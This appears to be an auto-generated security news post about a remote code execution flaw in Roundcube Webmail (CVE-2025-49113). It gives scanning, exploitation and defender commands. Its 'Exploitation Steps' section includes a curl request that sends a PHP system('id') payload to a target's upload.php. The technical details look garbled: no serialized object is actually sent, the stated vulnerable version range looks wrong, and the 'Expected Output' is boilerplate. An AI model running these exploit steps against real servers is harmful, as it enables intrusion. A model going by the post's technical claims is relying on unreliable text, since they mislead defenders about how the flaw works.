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A critical Remote Code Execution (RCE) vulnerability in Roundcube Webmail (CVE-2025-49113) has been disclosed by FearsOff. This flaw allows authenticated attackers to exploit PHP object deserialization via the `_from` parameter in upload.php, leading to arbitrary code execution.
🔗 Nuclei Template: https://lnkd.in/gQ_pYZui
🔗 Vulnerability Details: https://lnkd.in/guqGvAQx
You Should Know:
Exploitation Steps & Verification
1. Identify Vulnerable Roundcube Instances
nuclei -t CVE-2025-49113.yaml -u https://target.com -v
– Replace `target.com` with the Roundcube Webmail URL.
2. Exploit via `_from` Parameter
curl -X POST "https://target.com/roundcube/upload.php?_from=malicious_object" --data "payload=<?php system('id'); ?>"
– If successful, this executes `id` on the server.
3. Check Roundcube Version
curl -I https://target.com/roundcube/ | grep "X-Roundcube-Version"
– Versions before `2.0.0` are likely vulnerable.
4. Mitigation
- Patch Immediately: Apply the latest Roundcube security update.
- Disable Unnecessary Features: Restrict file uploads in
config.inc.php. - WAF Rules: Block suspicious `_from` parameter usage.
What Undercode Say
This vulnerability highlights the dangers of insecure deserialization in web applications. Organizations using Roundcube should:
– Monitor Logs for unusual `upload.php` requests.
– Use Intrusion Detection (e.g., Suricata) to flag exploitation attempts.
– Test Backups to ensure rapid recovery if compromised.
Expected Linux commands for defenders:
Check running PHP processes ps aux | grep php Inspect Roundcube logs tail -f /var/log/roundcube/errors.log Block suspicious IPs iptables -A INPUT -s <attacker_ip> -j DROP
Windows defenders should:
Check web server logs Get-Content C:\inetpub\logs\LogFiles\W3SVC1\u_ex250606.log -Tail 100 Verify Roundcube directory permissions icacls "C:\roundcube\"
Prediction
Given the ease of exploitation, CVE-2025-49113 will likely be mass-exploited within weeks, leading to compromised email servers and data breaches.
Expected Output:
- Successful RCE via
upload.php. - Detection of vulnerable Roundcube instances.
- Mitigation steps applied.
IT/Security Reporter URL:
Reported By: Ehsandeepsingh Roundcube – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅
